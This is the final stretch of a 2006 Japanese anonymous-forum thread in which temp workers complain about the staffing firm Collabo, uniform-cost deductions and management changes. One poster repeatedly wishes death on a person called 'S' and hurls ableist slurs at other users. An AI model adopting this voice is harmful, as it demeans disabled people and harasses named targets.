          偽造請負で働き告発されて正社員になる道もあるかもね!!

966 :名無しさん@そうだ登録へいこう:2006/10/13(金) 21:16:01 ID:2a2yMh4h0
>>964
おいおい、短期だったら期間終了し次第、また求職活動だぜ?
長期で働ける=安定 と受け取ってもいいもんじゃねえの?

967 :名無しさん@そうだ登録へいこう:2006/10/13(金) 21:53:04 ID:ej7YkZFLO
>902
49日? 75日だろ。(´・ω・`)
どなたか亡くなられたんでつか?w

>929
ワロタ

968 :名無しさん@そうだ登録へいこう:2006/10/13(金) 21:55:58 ID:3FMIPQRjO
潰れろコラボ

969 :名無しさん@そうだ登録へいこう:2006/10/13(金) 22:10:15 ID:zf+IunJC0
も少しまってて

970 :名無しさん@そうだ登録へいこう:2006/10/13(金) 22:18:40 ID:Wg0Y/bsF0
ぶっちゃけコラボはまともな方。マイナー人材会社はマジで酷かった。保険とか入れてくれないし、なんでもすぐ給与天引きされる
ちっさいクソ会社からまず潰すべき。

971 :名無しさん@そうだ登録へいこう:2006/10/13(金) 22:22:18 ID:r1uLsUiJ0
味噌も糞も一緒だよ

972 :名無しさん@そうだ登録へいこう:2006/10/13(金) 22:26:24 ID:4A4Y0TZ4O
>>962
動かない?
徳島は動いたんだがな〜
http://www.h7.dion.ne.jp/~mm-nd/714.htm

973 :名無しさん@そうだ登録へいこう:2006/10/13(金) 22:40:01 ID:CZA2cg0eO
作業服代の天引きとかワケワカラナイ
しかも最初に上下1着づつしか支給しないのもワケワカラナイ

工事作業で汗だくになるのにワケワカラナイ

そんなコラボに所属して○菱の工場で働いてた時代もあったな。仲よくなった正社員の人が支給品をくれたりしたよ。

974 :名無しさん@そうだ登録へいこう:2006/10/13(金) 23:14:25 ID:J0yhtfr1O
ば〜か!
普通は作業服とか自費が当たり前だろう
一着支給でもありがたく思え。
リーマンのスーツやネクタイが支給されるか?
あまえんなよ!ブルーワーカー!

975 :名無しさん@そうだ登録へいこう:2006/10/13(金) 23:34:33 ID:NQtfd5aW0
別の意味でのブルーワーカーも腐るほどいるから困る。



976 :名無しさん@そうだ登録へいこう:2006/10/14(土) 00:13:46 ID:Mo9LCDBuO
S死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ね地獄へ落ちろ

977 :名無しさん@そうだ登録へいこう:2006/10/14(土) 00:14:39 ID:Mo9LCDBuO
S死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ね地獄へ落ちろ

978 :名無しさん@そうだ登録へいこう:2006/10/14(土) 00:16:24 ID:Mo9LCDBuO
S死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ねS死ね地獄へ落ちろ

979 :名無しさん@そうだ登録へいこう:2006/10/14(土) 00:50:28 ID:VAV6mq090
作業服代なんて本来は実費なんだが、最初に購入させようとすると
「やっぱ辞めます」という空気読めてないカスが多発した時期があった。
で、誰が考えたか先に1着買ってやるというシステムが生まれた。

しかしここで誤算発生。最初に買ってあげたが為に「んだよ、1着だけかよ」と
勘違いする輩が続出。今でもとりあえずは社員の為には絶対になるので
作業服支給は行われているようだが、それに対して叩き入れてくる馬鹿が出ると
もう笑うしかないw

980 :名無しさん@そうだ登録へいこう:2006/10/14(土) 01:03:05 ID:JxvkVANb0
もっと面白いこと書こうよそろそろ1000だよ

981 :名無しさん@そうだ登録へいこう:2006/10/14(土) 01:22:52 ID:Mo9LCDBuO
遅刻無断欠勤で真面目に働いている人の足引っ張ってへーきな顔してる奴死ねば?どいつもこいつも蛆虫ばっか!馬鹿じゃねーの?死ね!死ね!死ね!

982 :名無しさん@そうだ登録へいこう:2006/10/14(土) 01:29:00 ID:ks1cRGEHO
N常務のK考某とのアレってそんなにすごいんですか?最悪な人やないですか。色んな人を降格とかさせといてさ。人開もあやしいな。

983 :名無しさん@そうだ登録へいこう:2006/10/14(土) 01:35:52 ID:V0gdwMDJ0
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984 :名無しさん@そうだ登録へいこう:2006/10/14(土) 01:52:17 ID:Mo9LCDBuO
S死ねROCK'N'-ROLL
目糞鼻糞笑う〜★S死ねぇ〜いイェーイ♪いや〜ん★ばっか〜ん★あーはー★S死ねS死ね♪GO!GOー♪S死ねぇ〜♪消えて亡くなれ〜♪北朝鮮のぉ〜♪放射能汚染でぇ〜♪がんになって死ねぇぇぇぇぇ〜!!!!!

985 :名無しさん@そうだ登録へいこう:2006/10/14(土) 02:27:10 ID:oGZwIxMOO
>>865 Sさん?違ったらすいません。割り込みの自分は誰かな?GKはカーワンにしました 誰かパート11を!クリスタル本体が潰れるまで続けましょう

986 :名無しさん@そうだ登録へいこう:2006/10/14(土) 03:58:29 ID:VxuuMXRg0
あのな。お前等が騒がなくてもさ、こんな業界もうやめてやるって。
製造は儲からないし馬鹿ばっかだし管理すんのも手間だし一々コスト
かかるし。栗としてはもう製造の人材ビジネスからは手を引いてやる
よ。あとはどうやって撤退するかだな。受け皿があればいいんだがw
って栗本体も思ってるよきっと。儲かんないし行政うるさいもんね。
我々ワーカーとしては受け皿がない状態での撤退はやめてほしいな。

987 :名無しさん@そうだ登録へいこう:2006/10/14(土) 08:47:21 ID:9/eARC9l0
>>986
もうマジで手を引いた方がいいって。利益率が全然違うっつーか、企業側が
技術系に甘すぎるもんなw

ニートを更生させて社会に送り込む製造系がこんなに厳しくて、オタクを
更生させて送り込む技術系があんなにボロい商売なんじゃ、クリスタルとしても
やってられんだろうな。

988 :名無しさん@そうだ登録へいこう:2006/10/14(土) 09:04:23 ID:Mo9LCDBuO
Sおまえ北朝鮮の放射能浴びてがんになって死ね死ね死ね!!消えて亡くなれ害虫野郎!!!!!!!!!

989 :名無しさん@そうだ登録へいこう:2006/10/14(土) 10:00:12 ID:alDFQZJy0
>>981

寝言は寝てからおしゃって。

>遅刻無断欠勤で真面目に働いている人の足引っ張ってへーきな顔してる奴死ねば?

あなたがまじめにお仕事なさるのはご自分のため。
遅刻無断欠勤なさる方もその方のお給料に響くだけだから
あなたには関係の無いことですわよね?

離職率の激しいこの世界に身をおいてらっしゃる
あなた自身に問題があるのですよ。


990 :名無しさん@そうだ登録へいこう:2006/10/14(土) 10:02:46 ID:Z7xcPXei0
俺ねニッサンのつなぎ7着支給されて5着返して2着貰った
もっとも汚れ方が、半端じゃない職業だったからそのくらい貰わないと合わない

991 :名無しさん@そうだ登録へいこう:2006/10/14(土) 10:27:29 ID:YB6rXDZYO
>>989
はぁ?
休まれたら迷惑なん、わからんのかいや?
ボケ!死んどれや


992 :名無しさん@そうだ登録へいこう:2006/10/14(土) 10:42:56 ID:Mo9LCDBuO
>>989
なんじゃ〜?お前知的障害か?身障か?死ね

993 :名無しさん@そうだ登録へいこう:2006/10/14(土) 10:44:04 ID:DINmLed/O
だから浅○社長はまだいるのか?もういないのか?
いないなら次は誰なんだ?

994 :名無しさん@そうだ登録へいこう:2006/10/14(土) 10:44:22 ID:alDFQZJy0
>>991

だから要は、そういう人の迷惑とか一向に考えきれない
低レベルな人間の集まる場所にしか
働くところのないあなた自身の責任だから、てことですの。
低レベルの最低人間たちに何かを求めたり
すべきことをちゃんとやってもらいたいと
期待するだけ無駄ですのよ。

お分かりになってくださったかしら?




995 :名無しさん@そうだ登録へいこう:2006/10/14(土) 10:45:08 ID:Mo9LCDBuO
>>989
しかも俺は管理の人間ちゃうからばーか身障死ね知的障害が!蛆虫野郎

996 :名無しさん@そうだ登録へいこう:2006/10/14(土) 10:55:12 ID:bFq9WHOM0
おはようございます皆言いたいことばかりゆうな皆頑張って仕事してるんだから
辞めたいやつはやめろ



997 :名無しさん@そうだ登録へいこう:2006/10/14(土) 11:14:14 ID:z27s3HICO
社長は美津濃になりましたが通達だけで取引先への挨拶文すらなし
社会通念上ありえない馬鹿です

998 :名無しさん@そうだ登録へいこう:2006/10/14(土) 11:17:35 ID:hOAOPrzE0
次のスレタイは

コラボレートpart11〜野々垣→浅井→水野→?〜

でお願いします。
長くて無理か…orz

999 :名無しさん@そうだ登録へいこう:2006/10/14(土) 11:19:20 ID:M1qtwIks0
999

1000 :名無しさん:2006/10/14(土) 11:21:11 ID:91AFQ8ZQ0
u


1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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